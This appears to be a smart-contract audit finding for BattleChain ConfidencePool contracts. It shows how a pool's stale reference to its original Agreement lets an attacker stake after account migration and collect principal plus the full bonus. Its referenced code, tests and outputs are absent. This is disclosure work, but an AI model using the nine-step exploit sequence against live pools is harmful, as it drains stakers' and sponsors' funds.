BattleChain Confidence Pools

Description

A ConfidencePool publishes and permanently locks a pool-local account scope. The protocol specification states that this locked scope remains the binding coverage commitment after the underlying Safe Harbor Agreement is narrowed, and the moderator uses that commitment to decide whether a corruption was in scope.

The pool does not use its locked accounts when validating a CORRUPTED outcome. It permanently reads the state of the Agreement supplied during initialization and rejects both good- and bad-faith CORRUPTED unless that original Agreement itself reports CORRUPTED.

The relevant in-scope code is:

The expiry backstop repeats the same stale lookup. An original Agreement that remains UNDER_ATTACK is treated as EXPIRED even when a locked account is already CORRUPTED under its replacement Agreement:

The intended CORRUPTED destinations are explicit in the pool:

This state divergence is reachable through the supported dependency lifecycle. After the Agreement commitment expires, removing an account synchronously clears its current binding:

The account can then be authorized and registered under Agreement B. Agreement B may become CORRUPTED while Agreement A remains independently UNDER_ATTACK.

The factory permits this window because it enforces a pool expiry of at least 30 days but never requires the expiry to remain within the Agreement's commitment. The pinned AttackRegistry requires only a seven-day commitment for Agreement registration.

The resulting exploit is:

1. Agreement A contains X and Y and becomes UNDER_ATTACK.

2. A 31-day pool locks X as its pool-local scope and receives a 100-token bonus.

3. Agreement A's seven-day commitment expires while the pool remains live.

4. A legitimate successor Agreement operator removes X from A. The dependency clears X -> A; Y keeps A active.

5. X is authorized and registered under Agreement B, and the registry moderator approves B.

6. An attacker stakes 100 tokens in the stale pool. The deposit succeeds because the pool still reads A as UNDER_ATTACK.

7. The attacker corrupts X and B's attack moderator records B as CORRUPTED.

8. The pool moderator attempts to flag bad-faith CORRUPTED, but flagOutcome reverts because A is not CORRUPTED.

9. At expiry, the stale A state selects EXPIRED. The attacker receives 100 principal plus the entire 100-token bonus; recoveryAddress receives zero.

The same root also blocks good-faith CORRUPTED. The moderator cannot name the whitehat, so the entire stake-plus-bonus bounty is paid to stakers instead of the whitehat.

Risk

Likelihood: Medium

• This occurs during the supported migration of a locked-scope account after the original Agreement's commitment expires and before the ConfidencePool expires.

• The configuration is naturally reachable: pools require at least a 30-day expiry lead, while the pinned AttackRegistry accepts a seven-day Agreement commitment.

• A replacement Agreement requires normal authorization, bond/commitment, and registry-moderator approval. These are legitimate lifecycle operations rather than malicious owner or registry behavior, but they make exploitation conditional rather than immediate.

• Once migration completes, an unprivileged attacker can enter the stale pool while Agreement A remains UNDER_ATTACK. Pausing only prevents later deposits; it does not repair existing positions or restore the good-faith bounty path.

Impact: High

• A sole bad-faith attacker receives the entire affected pool: the principal that should be forfeited plus all sponsor-funded bonus. The PoC transfers 200 tokens to the attacker and zero to recoveryAddress.

• A good-faith whitehat cannot be named for the pool bounty. The full snapshotTotalStaked + snapshotTotalBonus entitlement is instead paid to stakers.

• Every unresolved clone using the same original Agreement and migrated locked-scope account is affected independently.

Overall severity is Medium because the full-pool impact requires the supported but conditional migration and replacement-Agreement approval lifecycle.

Proof of Concept

Two local tests are provided because the contest code and the pinned dependency use incompatible exact compiler versions:

• The primary Solidity 0.8.26 test exercises the real UUPS factory, deterministic clone, standard fixed-supply ERC20, pool accounting, moderator failure, and terminal token balances. Its dependency model enforces the exact relevant access controls and transitions.

• The Solidity 0.8.34 dependency-native test proves the same removal, unbinding, distinct-owner authorization, rebinding, approval, and corruption sequence using the real pinned AgreementFactory, Agreement, and AttackRegistry.

Test 1 — in-scope pool exploit and fund impact

From the contest repository root, create or replace:

with:

Run:

Expected output:

Test 2 — exact pinned-dependency reachability

Create:

with:

Run from the contest repository root:

Expected output:

No fork or RPC endpoint is required.

Recommended Mitigation

Prevent a pool from outliving the period during which the original Agreement's scope cannot narrow. The Agreement commitment can only be extended, so this keeps every locked pool account bound to the original Agreement throughout the pool term.

Apply the validation in ConfidencePool.initialize and every pre-stake setExpiry update:

The factory may repeat the same check for an earlier and clearer createPool revert, but the clone must enforce it because setExpiry can change the term before the first stake.